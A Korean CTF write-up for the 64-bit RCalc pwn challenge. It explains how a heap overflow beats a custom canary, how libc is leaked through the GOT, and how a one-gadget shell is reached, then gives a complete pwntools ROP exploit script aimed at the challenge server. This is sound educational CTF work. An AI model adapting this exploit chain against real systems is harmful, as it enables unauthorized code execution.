바이너리
어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.
1. urandom으로 생성된 canary 우회
2. __libc_start_main leak
3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인
4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함
5. got overwrite를 통한 execve호출
6. 플래그 확인
자세하게 설명하도록 하겠다.
main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후
타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.
init_seedz 함수를 살펴보도록 하자.
할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면
seed->seed_arr을 덮어씌울 수 있을 것이다.
main함수로 돌아와서 calc함수를 살펴보도록 하자.
먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.
이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.
scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고
execute_calculator함수를 살펴보자.
간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.
c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.
그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에
0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.
이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.
from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()
'Write up > CTF' 카테고리의 다른 글
[defcon26] racewars (0) | 2019.03.25 |
---|---|
[Codegate 2019] writeup (0) | 2019.01.29 |
[Codegate2017 Pre] EasyCrack101 (0) | 2017.02.11 |
[Codegate2017 Pre] BabyMISC (0) | 2017.02.11 |
[Codegate2017 Pre] BabyPwn (0) | 2017.02.11 |